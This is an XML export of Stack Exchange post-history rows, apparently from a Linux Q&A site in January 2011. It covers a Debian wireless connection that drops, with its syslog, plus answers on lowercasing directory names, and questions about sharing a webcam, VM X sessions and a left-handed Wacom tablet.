  <row Id="12124" PostHistoryTypeId="17" PostId="5437" RevisionGUID="6e293cb6-054d-4311-a06a-a6aee29527e4" CreationDate="2011-01-05T17:31:32.797" UserId="-1" Comment="from http://stackoverflow.com/questions/4606171/impossible-to-connect-days-trying" Text="" />
  <row Id="12125" PostHistoryTypeId="5" PostId="4672" RevisionGUID="9d2a0bba-1471-4a24-aec9-77624f5e1c13" CreationDate="2011-01-05T17:46:04.213" UserId="2180" Comment="deleted 4 characters in body" Text="If you have a 64-bit processor, an alternative would be to try a 64-bit kernel.&#xD;&#xA;&#xD;&#xA;According to [this RedHat white paper][1], a typical server experiences around 1% performance hit, and other tasks suffered a performance hit of 0% - 10%.&#xD;&#xA;&#xD;&#xA;In addition to having more available memory, enabling PAE means you have an NX bit, which can increase security.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://people.redhat.com/nmurray/RHEL-2.1-VM-whitepaper.pdf" />
  <row Id="12126" PostHistoryTypeId="5" PostId="5437" RevisionGUID="81143963-20ca-4a39-90bb-1cb52161fb93" CreationDate="2011-01-05T18:06:15.823" UserId="73" Comment="added 15789 characters in body; edited tags; edited title" Text="I am on Debian. I configured my NIC with a static IP (192.168.1.56).&#xD;&#xA;&#xD;&#xA;When I try to connect to a network, initially with `ifconfig eth2` I get (correctly): &#xD;&#xA;&#xD;&#xA;    eth2 inet addr:192.168.1.56 .... &#xD;&#xA;    inet6 addr: fe80:221:ff:fe96:4598/64 &#xD;&#xA;&#xD;&#xA;but after a few seconds the `192.168.1.56` disappears and after some other seconds the inet6 address disappears too. When I press in the `nm-applet` it requires a password, but in the meantime it tries to connect.&#xD;&#xA;&#xD;&#xA;At my university, the connection is a DHCP one. It works for the first few seconds but after it doesn't. How do I go about fixing this?&#xD;&#xA;&#xD;&#xA;Here it is the relevant part of the syslog: (static ip configuration)&#xD;&#xA;&#xD;&#xA;    Jan  5 16:38:29 patina dhcdbd: message_handler: message handler not found under /com/redhat/dhcp/eth2 for sub-path eth2.dbus.get.reason&#xD;&#xA;    Jan  5 16:38:29 patina NetworkManager: &lt;debug&gt; [1294245509.629163] nm_device_802_11_wireless_get_activation_ap(): Forcing AP 'Cagei2'&#xD;&#xA;    Jan  5 16:38:29 patina NetworkManager: &lt;info&gt;  User Switch: /org/freedesktop/NetworkManager/Devices/eth2 / Cagei2&#xD;&#xA;    Jan  5 16:38:29 patina NetworkManager: &lt;info&gt;  Deactivating device eth2.&#xD;&#xA;    Jan  5 16:38:29 patina NetworkManager: &lt;WARN&gt;  nm_device_802_11_wireless_set_wep_enc_key(): error setting key for device eth2: Invalid argument&#xD;&#xA;    Jan  5 16:38:29 patina NetworkManager: &lt;info&gt;  Device eth2 activation scheduled...&#xD;&#xA;    Jan  5 16:38:29 patina NetworkManager: &lt;info&gt;  Activation (eth2) started...&#xD;&#xA;    Jan  5 16:38:29 patina NetworkManager: &lt;info&gt;  Activation (eth2) Stage 1 of 5 (Device Prepare) scheduled...&#xD;&#xA;    Jan  5 16:38:29 patina NetworkManager: &lt;info&gt;  Activation (eth2) Stage 1 of 5 (Device Prepare) started...&#xD;&#xA;    Jan  5 16:38:29 patina NetworkManager: &lt;info&gt;  Activation (eth2) Stage 2 of 5 (Device Configure) scheduled...&#xD;&#xA;    Jan  5 16:38:29 patina NetworkManager: &lt;info&gt;  Activation (eth2) Stage 1 of 5 (Device Prepare) complete.&#xD;&#xA;    Jan  5 16:38:29 patina NetworkManager: &lt;info&gt;  Activation (eth2) Stage 2 of 5 (Device Configure) starting...&#xD;&#xA;    Jan  5 16:38:29 patina NetworkManager: &lt;info&gt;  Activation (eth2/wireless): access point 'Cagei2' is encrypted, but NO valid key exists.  New key needed.&#xD;&#xA;    Jan  5 16:38:29 patina NetworkManager: &lt;info&gt;  Activation (eth2) New wireless user key requested for network 'Cagei2'.&#xD;&#xA;    Jan  5 16:38:29 patina NetworkManager: &lt;info&gt;  Activation (eth2) Stage 2 of 5 (Device Configure) complete.&#xD;&#xA;    Jan  5 16:40:15 patina dhclient: There is already a pid file /var/run/dhclient.eth0.pid with pid 2304&#xD;&#xA;    Jan  5 16:40:15 patina dhclient: killed old client process, removed PID file&#xD;&#xA;    Jan  5 16:40:15 patina dhclient: Internet Systems Consortium DHCP Client V3.1.1&#xD;&#xA;    Jan  5 16:40:15 patina dhclient: Copyright 2004-2008 Internet Systems Consortium.&#xD;&#xA;    Jan  5 16:40:15 patina dhclient: All rights reserved.&#xD;&#xA;    Jan  5 16:40:15 patina dhclient: For info, please visit http://www.isc.org/sw/dhcp/&#xD;&#xA;    Jan  5 16:40:15 patina dhclient: &#xD;&#xA;    Jan  5 16:40:15 patina dhclient: Listening on LPF/eth0/00:23:8b:54:96:5d&#xD;&#xA;    Jan  5 16:40:15 patina dhclient: Sending on   LPF/eth0/00:23:8b:54:96:5d&#xD;&#xA;    Jan  5 16:40:15 patina dhclient: Sending on   Socket/fallback&#xD;&#xA;    Jan  5 16:40:15 patina dhclient: DHCPRELEASE on eth0 to 192.168.1.1 port 67&#xD;&#xA;    Jan  5 16:40:15 patina avahi-autoipd(eth0)[2133]: Got SIGTERM, quitting.&#xD;&#xA;    Jan  5 16:40:15 patina avahi-autoipd(eth0)[2133]: Callout STOP, address 169.254.6.95 on interface eth0&#xD;&#xA;    Jan  5 16:40:48 patina dhcdbd: message_handler: message handler not found under /com/redhat/dhcp/eth2 for sub-path eth2.dbus.get.reason&#xD;&#xA;    Jan  5 16:40:48 patina NetworkManager: &lt;debug&gt; [1294245648.742672] nm_device_802_11_wireless_get_activation_ap(): Forcing AP 'Cagei2'&#xD;&#xA;    Jan  5 16:40:48 patina NetworkManager: &lt;info&gt;  User Switch: /org/freedesktop/NetworkManager/Devices/eth2 / Cagei2&#xD;&#xA;    Jan  5 16:40:48 patina NetworkManager: &lt;info&gt;  Deactivating device eth2.&#xD;&#xA;    Jan  5 16:40:48 patina NetworkManager: &lt;info&gt;  Activation (eth2): cancelling...&#xD;&#xA;    Jan  5 16:40:48 patina NetworkManager: &lt;info&gt;  Activation (eth2) cancellation handler scheduled...&#xD;&#xA;    Jan  5 16:40:48 patina NetworkManager: &lt;info&gt;  Activation (eth2): waiting for device to cancel activation.&#xD;&#xA;    Jan  5 16:40:48 patina NetworkManager: &lt;info&gt;  Activation (eth2) cancellation handled.&#xD;&#xA;    Jan  5 16:40:48 patina NetworkManager: &lt;info&gt;  Activation (eth2): cancelled.&#xD;&#xA;    Jan  5 16:40:48 patina NetworkManager: &lt;WARN&gt;  nm_device_802_11_wireless_set_wep_enc_key(): error setting key for device eth2: Invalid argument&#xD;&#xA;    Jan  5 16:40:48 patina NetworkManager: &lt;info&gt;  Device eth2 activation scheduled...&#xD;&#xA;    Jan  5 16:40:48 patina NetworkManager: &lt;info&gt;  Activation (eth2) started...&#xD;&#xA;    Jan  5 16:40:48 patina NetworkManager: &lt;info&gt;  Activation (eth2) Stage 1 of 5 (Device Prepare) scheduled...&#xD;&#xA;    Jan  5 16:40:48 patina NetworkManager: &lt;info&gt;  Activation (eth2) Stage 1 of 5 (Device Prepare) started...&#xD;&#xA;    Jan  5 16:40:48 patina NetworkManager: &lt;info&gt;  Activation (eth2) Stage 2 of 5 (Device Configure) scheduled...&#xD;&#xA;    Jan  5 16:40:48 patina NetworkManager: &lt;info&gt;  Activation (eth2) Stage 1 of 5 (Device Prepare) complete.&#xD;&#xA;    Jan  5 16:40:48 patina NetworkManager: &lt;info&gt;  Activation (eth2) Stage 2 of 5 (Device Configure) starting...&#xD;&#xA;    Jan  5 16:40:48 patina NetworkManager: &lt;info&gt;  Activation (eth2/wireless): access point 'Cagei2' is encrypted, but NO valid key exists.  New key needed.&#xD;&#xA;    Jan  5 16:40:48 patina NetworkManager: &lt;info&gt;  Activation (eth2) New wireless user key requested for network 'Cagei2'.&#xD;&#xA;    Jan  5 16:40:48 patina NetworkManager: &lt;info&gt;  Activation (eth2) Stage 2 of 5 (Device Configure) complete.&#xD;&#xA;    Jan  5 16:40:54 patina kernel: [ 1397.945334] lo: Disabled Privacy Extensions&#xD;&#xA;    Jan  5 16:41:06 patina NetworkManager: &lt;info&gt;  Activation (eth2) New wireless user key for network 'Cagei2' received.&#xD;&#xA;    Jan  5 16:41:06 patina NetworkManager: &lt;info&gt;  Activation (eth2) Stage 1 of 5 (Device Prepare) scheduled...&#xD;&#xA;    Jan  5 16:41:06 patina NetworkManager: &lt;info&gt;  Activation (eth2) Stage 1 of 5 (Device Prepare) started...&#xD;&#xA;    Jan  5 16:41:06 patina NetworkManager: &lt;info&gt;  Activation (eth2) Stage 2 of 5 (Device Configure) scheduled...&#xD;&#xA;    Jan  5 16:41:06 patina NetworkManager: &lt;info&gt;  Activation (eth2) Stage 1 of 5 (Device Prepare) complete.&#xD;&#xA;    Jan  5 16:41:06 patina NetworkManager: &lt;info&gt;  Activation (eth2) Stage 2 of 5 (Device Configure) starting...&#xD;&#xA;    Jan  5 16:41:06 patina NetworkManager: &lt;info&gt;  Activation (eth2/wireless): access point 'Cagei2' is encrypted, and a key exists.  No new key needed.&#xD;&#xA;    Jan  5 16:41:08 patina NetworkManager: &lt;info&gt;  SUP: sending command 'INTERFACE_ADD eth2#011#011wext#011/var/run/wpa_supplicant#011'&#xD;&#xA;    Jan  5 16:41:08 patina kernel: [ 1411.596736] ADDRCONF(NETDEV_CHANGE): eth2: link becomes ready&#xD;&#xA;    Jan  5 16:41:08 patina NetworkManager: &lt;info&gt;  SUP: response was 'OK'&#xD;&#xA;    Jan  5 16:41:08 patina NetworkManager: &lt;info&gt;  SUP: sending command 'AP_SCAN 1'&#xD;&#xA;    Jan  5 16:41:08 patina NetworkManager: &lt;info&gt;  SUP: response was 'OK'&#xD;&#xA;    Jan  5 16:41:08 patina NetworkManager: &lt;info&gt;  SUP: sending command 'ADD_NETWORK'&#xD;&#xA;    Jan  5 16:41:08 patina NetworkManager: &lt;info&gt;  SUP: response was '0'&#xD;&#xA;    Jan  5 16:41:08 patina NetworkManager: &lt;info&gt;  SUP: sending command 'SET_NETWORK 0 ssid 436167656932'&#xD;&#xA;    Jan  5 16:41:08 patina NetworkManager: &lt;info&gt;  SUP: response was 'OK'&#xD;&#xA;    Jan  5 16:41:08 patina NetworkManager: &lt;info&gt;  SUP: sending command 'SET_NETWORK 0 proto WPA2'&#xD;&#xA;    Jan  5 16:41:08 patina NetworkManager: &lt;info&gt;  SUP: response was 'OK'&#xD;&#xA;    Jan  5 16:41:08 patina NetworkManager: &lt;info&gt;  SUP: sending command 'SET_NETWORK 0 key_mgmt WPA-PSK'&#xD;&#xA;    Jan  5 16:41:08 patina NetworkManager: &lt;info&gt;  SUP: response was 'OK'&#xD;&#xA;    Jan  5 16:41:08 patina NetworkManager: &lt;info&gt;  SUP: sending command 'SET_NETWORK 0 psk &lt;key&gt;'&#xD;&#xA;    Jan  5 16:41:08 patina NetworkManager: &lt;info&gt;  SUP: response was 'OK'&#xD;&#xA;    Jan  5 16:41:08 patina NetworkManager: &lt;info&gt;  SUP: sending command 'ENABLE_NETWORK 0'&#xD;&#xA;    Jan  5 16:41:08 patina NetworkManager: &lt;info&gt;  SUP: response was 'OK'&#xD;&#xA;    Jan  5 16:41:08 patina NetworkManager: &lt;info&gt;  Activation (eth2) Stage 2 of 5 (Device Configure) complete.&#xD;&#xA;    Jan  5 16:41:08 patina NetworkManager: &lt;info&gt;  Supplicant state changed: 1&#xD;&#xA;    Jan  5 16:41:08 patina NetworkManager: &lt;info&gt;  Activation (eth2/wireless) Stage 2 of 5 (Device Configure) successful.  Connected to access point 'Cagei2'.&#xD;&#xA;    Jan  5 16:41:08 patina NetworkManager: &lt;info&gt;  Activation (eth2) Stage 3 of 5 (IP Configure Start) scheduled.&#xD;&#xA;    Jan  5 16:41:08 patina NetworkManager: &lt;info&gt;  Activation (eth2) Stage 3 of 5 (IP Configure Start) started...&#xD;&#xA;    Jan  5 16:41:09 patina NetworkManager: &lt;info&gt;  Activation (eth2) Beginning DHCP transaction.&#xD;&#xA;    Jan  5 16:41:09 patina NetworkManager: &lt;info&gt;  Activation (eth2) Stage 3 of 5 (IP Configure Start) complete.&#xD;&#xA;    Jan  5 16:41:09 patina NetworkManager: &lt;info&gt;  DHCP daemon state is now 12 (successfully started) for interface eth2&#xD;&#xA;    Jan  5 16:41:09 patina dhclient: Internet Systems Consortium DHCP Client 4.1.1-P1&#xD;&#xA;    Jan  5 16:41:09 patina dhclient: Copyright 2004-2010 Internet Systems Consortium.&#xD;&#xA;    Jan  5 16:41:09 patina dhclient: All rights reserved.&#xD;&#xA;    Jan  5 16:41:09 patina dhclient: For info, please visit https://www.isc.org/software/dhcp/&#xD;&#xA;    Jan  5 16:41:09 patina dhclient: &#xD;&#xA;    Jan  5 16:41:09 patina dhclient: Listening on LPF/eth2/00:21:00:96:45:98&#xD;&#xA;    Jan  5 16:41:09 patina dhclient: Sending on   LPF/eth2/00:21:00:96:45:98&#xD;&#xA;    Jan  5 16:41:09 patina dhclient: Sending on   Socket/fallback&#xD;&#xA;    Jan  5 16:41:10 patina dhclient: DHCPDISCOVER on eth2 to 255.255.255.255 port 67 interval 7&#xD;&#xA;    Jan  5 16:41:17 patina dhclient: DHCPDISCOVER on eth2 to 255.255.255.255 port 67 interval 12&#xD;&#xA;    Jan  5 16:41:18 patina kernel: [ 1421.604521] eth2: no IPv6 routers present&#xD;&#xA;    Jan  5 16:41:29 patina dhclient: DHCPDISCOVER on eth2 to 255.255.255.255 port 67 interval 19&#xD;&#xA;    Jan  5 16:41:48 patina dhclient: DHCPDISCOVER on eth2 to 255.255.255.255 port 67 interval 14&#xD;&#xA;    Jan  5 16:41:54 patina NetworkManager: &lt;info&gt;  Device 'eth2' DHCP transaction took too long (&gt;45s), stopping it.&#xD;&#xA;    Jan  5 16:41:54 patina dhclient: Internet Systems Consortium DHCP Client 4.1.1-P1&#xD;&#xA;    Jan  5 16:41:54 patina dhclient: Copyright 2004-2010 Internet Systems Consortium.&#xD;&#xA;    Jan  5 16:41:54 patina dhclient: All rights reserved.&#xD;&#xA;    Jan  5 16:41:54 patina dhclient: For info, please visit https://www.isc.org/software/dhcp/&#xD;&#xA;    Jan  5 16:41:54 patina dhclient: &#xD;&#xA;    Jan  5 16:41:54 patina dhclient: Listening on LPF/eth2/00:21:00:96:45:98&#xD;&#xA;    Jan  5 16:41:54 patina dhclient: Sending on   LPF/eth2/00:21:00:96:45:98&#xD;&#xA;    Jan  5 16:41:54 patina dhclient: Sending on   Socket/fallback&#xD;&#xA;    Jan  5 16:41:54 patina dhclient: DHCPRELEASE on eth2 to 137.222.253.66 port 67&#xD;&#xA;    Jan  5 16:41:54 patina dhclient: send_packet: Network is unreachable&#xD;&#xA;    Jan  5 16:41:54 patina dhclient: send_packet: please consult README file regarding broadcast address.&#xD;&#xA;    Jan  5 16:41:55 patina NetworkManager: &lt;info&gt;  Activation (eth2) Stage 4 of 5 (IP Configure Timeout) scheduled...&#xD;&#xA;    Jan  5 16:41:55 patina NetworkManager: &lt;info&gt;  DHCP daemon state is now 14 (normal exit) for interface eth2&#xD;&#xA;    Jan  5 16:41:55 patina NetworkManager: &lt;info&gt;  DHCP daemon state is now 14 (normal exit) for interface eth2&#xD;&#xA;    Jan  5 16:41:55 patina NetworkManager: &lt;info&gt;  Activation (eth2) Stage 4 of 5 (IP Configure Timeout) started...&#xD;&#xA;    Jan  5 16:41:55 patina NetworkManager: &lt;info&gt;  Activation (eth2) failure scheduled...&#xD;&#xA;    Jan  5 16:41:55 patina NetworkManager: &lt;info&gt;  Activation (eth2) Stage 4 of 5 (IP Configure Timeout) complete.&#xD;&#xA;    Jan  5 16:41:55 patina NetworkManager: &lt;info&gt;  Activation (eth2) failed for access point (Cagei2)&#xD;&#xA;    Jan  5 16:41:55 patina NetworkManager: &lt;info&gt;  Activation (eth2) failed.&#xD;&#xA;    Jan  5 16:41:55 patina NetworkManager: &lt;info&gt;  Deactivating device eth2.&#xD;&#xA;    Jan  5 16:41:55 patina NetworkManager: &lt;WARN&gt;  nm_device_802_11_wireless_set_wep_enc_key(): error setting key for device eth2: Invalid argument&#xD;&#xA;    Jan  5 16:41:56 patina kernel: [ 1460.455299] ADDRCONF(NETDEV_CHANGE): eth2: link becomes ready&#xD;&#xA;    Jan  5 16:42:07 patina kernel: [ 1471.332129] eth2: no IPv6 routers present&#xD;&#xA;    Jan  5 16:46:00 patina kernel: [ 1703.976186] usb 1-3: new high speed USB device using ehci_hcd and address 2&#xD;&#xA;    Jan  5 16:46:00 patina kernel: [ 1704.120840] usb 1-3: New USB device found, idVendor=13fe, idProduct=1e00&#xD;&#xA;    Jan  5 16:46:00 patina kernel: [ 1704.120851] usb 1-3: New USB device strings: Mfr=1, Product=2, SerialNumber=3&#xD;&#xA;    Jan  5 16:46:00 patina kernel: [ 1704.120858] usb 1-3: Product: USB DISK 2.0    &#xD;&#xA;    Jan  5 16:46:00 patina kernel: [ 1704.120863] usb 1-3: Manufacturer:         &#xD;&#xA;    Jan  5 16:46:00 patina kernel: [ 1704.120868] usb 1-3: SerialNumber: 078203000F3C&#xD;&#xA;    Jan  5 16:46:00 patina kernel: [ 1704.121082] usb 1-3: configuration #1 chosen from 1 choice&#xD;&#xA;    Jan  5 16:46:00 patina NetworkManager: &lt;debug&gt; [1294245960.538897] nm_hal_device_added(): New device added (hal udi is '/org/freedesktop/Hal/devices/usb_device_13fe_1e00_078203000F3C').&#xD;&#xA;    Jan  5 16:46:00 patina kernel: [ 1704.328698] Initializing USB Mass Storage driver...&#xD;&#xA;    Jan  5 16:46:00 patina kernel: [ 1704.328913] scsi6 : SCSI emulation for USB Mass Storage devices&#xD;&#xA;    Jan  5 16:46:00 patina kernel: [ 1704.329254] usbcore: registered new interface driver usb-storage&#xD;&#xA;    Jan  5 16:46:00 patina kernel: [ 1704.329263] USB Mass Storage support registered.&#xD;&#xA;    Jan  5 16:46:00 patina kernel: [ 1704.331074] usb-storage: device found at 2&#xD;&#xA;    Jan  5 16:46:00 patina kernel: [ 1704.331080] usb-storage: waiting for device to settle before scanning&#xD;&#xA;    Jan  5 16:46:00 patina NetworkManager: &lt;debug&gt; [1294245960.740962] nm_hal_device_added(): New device added (hal udi is '/org/freedesktop/Hal/devices/usb_device_13fe_1e00_078203000F3C_if0').&#xD;&#xA;    Jan  5 16:46:00 patina NetworkManager: &lt;debug&gt; [1294245960.742373] nm_hal_device_added(): New device added (hal udi is '/org/freedesktop/Hal/devices/usb_device_13fe_1e00_078203000F3C_if0_scsi_host').&#xD;&#xA;    Jan  5 16:46:05 patina kernel: [ 1709.329094] usb-storage: device scan complete&#xD;&#xA;    Jan  5 16:46:05 patina kernel: [ 1709.379165] scsi 6:0:0:0: Direct-Access              USB DISK 2.0     PMAP PQ: 0 ANSI: 0 CCS&#xD;&#xA;    Jan  5 16:46:05 patina kernel: [ 1709.380922] sd 6:0:0:0: Attached scsi generic sg2 type 0&#xD;&#xA;    Jan  5 16:46:05 patina NetworkManager: &lt;debug&gt; [1294245965.792242] nm_hal_device_added(): New device added (hal udi is '/org/freedesktop/Hal/devices/usb_device_13fe_1e00_078203000F3C_if0_scsi_host_0').&#xD;&#xA;    Jan  5 16:46:05 patina NetworkManager: &lt;debug&gt; [1294245965.795336] nm_hal_device_added(): New device added (hal udi is '/org/freedesktop/Hal/devices/usb_device_13fe_1e00_078203000F3C_if0_scsi_host_0_scsi_device_lun0').&#xD;&#xA;    Jan  5 16:46:05 patina NetworkManager: &lt;debug&gt; [1294245965.799318] nm_hal_device_added(): New device added (hal udi is '/org/freedesktop/Hal/devices/usb_device_13fe_1e00_078203000F3C_if0_scsi_host_0_scsi_device_lun0_scsi_generic').&#xD;&#xA;    Jan  5 16:46:06 patina kernel: [ 1710.042152] sd 6:0:0:0: [sdb] 8060928 512-byte logical blocks: (4.12 GB/3.84 GiB)&#xD;&#xA;    Jan  5 16:46:06 patina kernel: [ 1710.043009] sd 6:0:0:0: [sdb] Write Protect is off&#xD;&#xA;    Jan  5 16:46:06 patina kernel: [ 1710.043020] sd 6:0:0:0: [sdb] Mode Sense: 23 00 00 00&#xD;&#xA;    Jan  5 16:46:06 patina kernel: [ 1710.043026] sd 6:0:0:0: [sdb] Assuming drive cache: write through&#xD;&#xA;    Jan  5 16:46:06 patina kernel: [ 1710.047632] sd 6:0:0:0: [sdb] Assuming drive cache: write through&#xD;&#xA;    Jan  5 16:46:06 patina kernel: [ 1710.047643]  sdb: sdb1&#xD;&#xA;    Jan  5 16:46:06 patina kernel: [ 1710.113494] sd 6:0:0:0: [sdb] Assuming drive cache: write through&#xD;&#xA;    Jan  5 16:46:06 patina kernel: [ 1710.113504] sd 6:0:0:0: [sdb] Attached SCSI removable disk&#xD;&#xA;    Jan  5 16:46:06 patina NetworkManager: &lt;debug&gt; [1294245966.835564] nm_hal_device_added(): New device added (hal udi is '/org/freedesktop/Hal/devices/storage_serial__USB_DISK_2_0_078203000F3C_0_0').&#xD;&#xA;    Jan  5 16:46:07 patina NetworkManager: &lt;debug&gt; [1294245967.016379] nm_hal_device_added(): New device added (hal udi is '/org/freedesktop/Hal/devices/volume_uuid_BCD8_97AF').&#xD;&#xA;    Jan  5 16:46:07 patina kernel: [ 1710.696802] FAT: utf8 is not a recommended IO charset for FAT filesystems, filesystem will be case sensitive!" />
  <row Id="12127" PostHistoryTypeId="6" PostId="5437" RevisionGUID="81143963-20ca-4a39-90bb-1cb52161fb93" CreationDate="2011-01-05T18:06:15.823" UserId="73" Comment="added 15789 characters in body; edited tags; edited title" Text="élinuxàéubuntuàénetworkingàédebianàéconnectionà" />
  <row Id="12128" PostHistoryTypeId="4" PostId="5437" RevisionGUID="81143963-20ca-4a39-90bb-1cb52161fb93" CreationDate="2011-01-05T18:06:15.823" UserId="73" Comment="added 15789 characters in body; edited tags; edited title" Text="Network connection drops after a few seconds" />
  <row Id="12129" PostHistoryTypeId="5" PostId="5419" RevisionGUID="10e5e81b-6043-47c4-911c-c4d72d81a89b" CreationDate="2011-01-05T19:03:58.043" UserId="885" Comment="use zmv in zsh; added portable solutions; added solutions using perl rename" Text="All the directories at one level, or recursively?&#xD;&#xA;&#xD;&#xA;## Zsh&#xD;&#xA;&#xD;&#xA;At one level:&#xD;&#xA;&#xD;&#xA;    autoload zmv&#xD;&#xA;    zmv -o-i -Q 'root/(*)(/)' 'root/${1:l}'&#xD;&#xA;&#xD;&#xA;Recursively:&#xD;&#xA;&#xD;&#xA;    zmv -o-i -Q 's/(**/)(*)(/)' 's/$1${2:l}'&#xD;&#xA;&#xD;&#xA;Explanations: `zmv` renames files matching a pattern according to the given replacement text. `-o-i` passes the `-i` option to each `mv` command under the hood (see below). In the replacement text, `$1`, `$2`, etc, are the successive parenthesized groups in the pattern. `**` means all (sub)*directories, recursively. The final `(/)` is not a parenthesized group but a glob qualifier meaning to match only directories. `${2:l}` converts `$2` to lowercase.&#xD;&#xA;&#xD;&#xA;## Portable&#xD;&#xA;&#xD;&#xA;At one level:&#xD;&#xA;&#xD;&#xA;    for x in root/*/; do mv -i &quot;$x&quot; $(printf %s &quot;$x&quot; | tr '[:upper:]' '[:lower:]'); done&#xD;&#xA;&#xD;&#xA;The final `/` restricts the matching to directories, and `mv -i` makes it ask for confirmation in case of a collision. Remove the `-i` to overwrite in case of a collision, and use `yes n | for …`. to not be prompted and not perform any renaming that would collide.&#xD;&#xA;&#xD;&#xA;Recursively:&#xD;&#xA;&#xD;&#xA;    find root/* -depth -type d -exec sh -c '&#xD;&#xA;        t=${0%/*}/$(printf %s &quot;${0##*/}&quot; | tr &quot;[:upper:]&quot; &quot;[:lower:]&quot;);&#xD;&#xA;        [ &quot;$t&quot; = &quot;$0&quot; ] || mv -i &quot;$0&quot; &quot;$t&quot;&#xD;&#xA;    ' {} \;&#xD;&#xA;&#xD;&#xA;The use of `-depth` ensures that deeply nested directories are processed before their ancestors. The name processing relies on their being a `/`; if you want to call operate in the current directory, use `./*` (adapting the shell script to cope with `.` or `*` is left as an exercise for the reader).&#xD;&#xA;&#xD;&#xA;## Perl rename&#xD;&#xA;&#xD;&#xA;Here I use the Perl rename script that Debian and Ubuntu ship as `/usr/bin/prename` (typically available as `rename` as well). At one level:&#xD;&#xA;&#xD;&#xA;    rename 's!/([^/]*/?)$!\L/$1!' root/*/&#xD;&#xA;&#xD;&#xA;Recursively, with bash ≥4 or zsh:&#xD;&#xA;&#xD;&#xA;    rename 's!/([^/]*/?)$!\L/$1!' root/**/*/&#xD;&#xA;&#xD;&#xA;Recursively, portably:&#xD;&#xA;&#xD;&#xA;    find root -depth -type d -exec rename -n 's!/([^/]*/?)$!\L/$1!' {} +&#xD;&#xA;" />
  <row Id="12130" PostHistoryTypeId="6" PostId="5437" RevisionGUID="0d73a717-0daf-409a-a460-7a09a745db8b" CreationDate="2011-01-05T19:11:40.560" UserId="885" Comment="edited tags" Text="élinuxàénetworkingàénetworkmanagerà" />
  <row Id="12131" PostHistoryTypeId="5" PostId="4730" RevisionGUID="09766f18-2556-4028-9dde-504758683172" CreationDate="2011-01-05T19:36:08.050" UserId="885" Comment="added 51 characters in body" Text="Actively use your system for a while with file access times enabled. See what files never have their access time modified. These are candidates for deletion (but make sure there isn't a reason to keep them, e.g. because they're hardware drivers for hardware you don't have, or they're needed early in the boot process when the root partition is still mounted read-only).&#xD;&#xA;&#xD;&#xA;Since you'll have few big applications, check what libraries are used by a single executable. Consider linking them statically.&#xD;&#xA;&#xD;&#xA;    ldd /bin/* /usr/bin/* |sed -n 's/^.* =&gt; \(.*\) (.*)$/\1/p' |sort |uniq -c&#xD;&#xA;" />
  <row Id="12132" PostHistoryTypeId="2" PostId="5438" RevisionGUID="dd3b4fcb-c701-4b41-95da-8d4cd9a6a836" CreationDate="2011-01-05T19:47:15.247" UserId="3468" Text="Hello, the goal is to use the same webcam for video chat apps and for home security at the same time. Currently, the webcam is working just fine with either VLC (or mjpg-streamer) and with Kopete - just not simultaneously.&#xD;&#xA;&#xD;&#xA;I am not Kubuntu 10.4 but at least one of these setups will be on Debian/Linux. A GNU/Linux generic method would be best, but Debian/Linux specific would be just fine.&#xD;&#xA;&#xD;&#xA;I have a custom udev rule to control naming of the webcam and I had tried adding &quot;MODE = &quot;0666&quot;&quot; and I have tired running kopete as root after opening the device with VLC, a permissions angle might not the trick.&#xD;&#xA;&#xD;&#xA;Any brilliant insights?&#xD;&#xA;" />
  <row Id="12133" PostHistoryTypeId="1" PostId="5438" RevisionGUID="dd3b4fcb-c701-4b41-95da-8d4cd9a6a836" CreationDate="2011-01-05T19:47:15.247" UserId="3468" Text="simultaneously share /dev/videoX with multiple applications?" />
  <row Id="12134" PostHistoryTypeId="3" PostId="5438" RevisionGUID="dd3b4fcb-c701-4b41-95da-8d4cd9a6a836" CreationDate="2011-01-05T19:47:15.247" UserId="3468" Text="édebianàéhardwareàépermissionsàévideoà" />
  <row Id="12135" PostHistoryTypeId="2" PostId="5439" RevisionGUID="f2173918-237d-4564-b396-b9c785290a9a" CreationDate="2011-01-05T19:56:27.583" UserId="3466" Text="At home I have a server running a couple of VMs. Is it possible to bind &lt;CTRL&gt;&lt;ALT&gt;&lt;Fn&gt; to an xsession running in those VMs?. Ideally, I'd like it to behave the same as pressing &lt;CTRL&gt;&lt;ALT&gt;&lt;F7&gt; (x-windows login screen if I'm not logged in)." />
  <row Id="12136" PostHistoryTypeId="1" PostId="5439" RevisionGUID="f2173918-237d-4564-b396-b9c785290a9a" CreationDate="2011-01-05T19:56:27.583" UserId="3466" Text="attach terminal to  X desktop running in VM" />
  <row Id="12137" PostHistoryTypeId="3" PostId="5439" RevisionGUID="f2173918-237d-4564-b396-b9c785290a9a" CreationDate="2011-01-05T19:56:27.583" UserId="3466" Text="éxorgàécentosàévirtualömachineà" />
  <row Id="12138" PostHistoryTypeId="2" PostId="5440" RevisionGUID="d18dadc1-f06f-4cb3-9017-04925dbed8a3" CreationDate="2011-01-05T21:46:42.553" UserId="2594" Text="It would help if you tell what virtualization tool you use. With VirtualBox, that would be quite easy using the internal rdp (or vnc with OSE edition) service." />
  <row Id="12139" PostHistoryTypeId="5" PostId="5438" RevisionGUID="741555d4-eaa8-48a3-ad98-8656036d8094" CreationDate="2011-01-05T22:32:13.250" UserId="3468" Comment="added 12 characters in body" Text="Hello, the goal is to use the same webcam for video chat apps and for home security at the same time. Currently, the webcam is working just fine with either VLC (or mjpg-streamer) and with Kopete - just not simultaneously.&#xD;&#xA;&#xD;&#xA;I am on Kubuntu 10.4 but at least one of these setups will be on Debian/Linux. A GNU/Linux generic method would be best, but Debian/Linux specific (with udev?) would be just fine.&#xD;&#xA;&#xD;&#xA;I have a custom udev rule to control naming of the webcam and I had tried adding &quot;MODE = &quot;0666&quot;&quot; and I have tired running Kopete as root after opening the device with VLC, a permissions angle might not the trick.&#xD;&#xA;&#xD;&#xA;Any brilliant insights?&#xD;&#xA;" />
  <row Id="12140" PostHistoryTypeId="2" PostId="5441" RevisionGUID="e39c1d7c-6b13-49f2-b3c4-d43b8234dc20" CreationDate="2011-01-05T23:23:16.020" UserId="1055" Text="I have my Wacom Bamboo tablet working fine under Fedora 14 but would like to switch it from right- to left-handed.&#xD;&#xA;&#xD;&#xA;Anyone any ideas how?&#xD;&#xA;&#xD;&#xA;Thanks for any help." />
  <row Id="12141" PostHistoryTypeId="1" PostId="5441" RevisionGUID="e39c1d7c-6b13-49f2-b3c4-d43b8234dc20" CreationDate="2011-01-05T23:23:16.020" UserId="1055" Text="Does anyone know how to configure a Wacom Bamboo tablet to work left-handled?" />
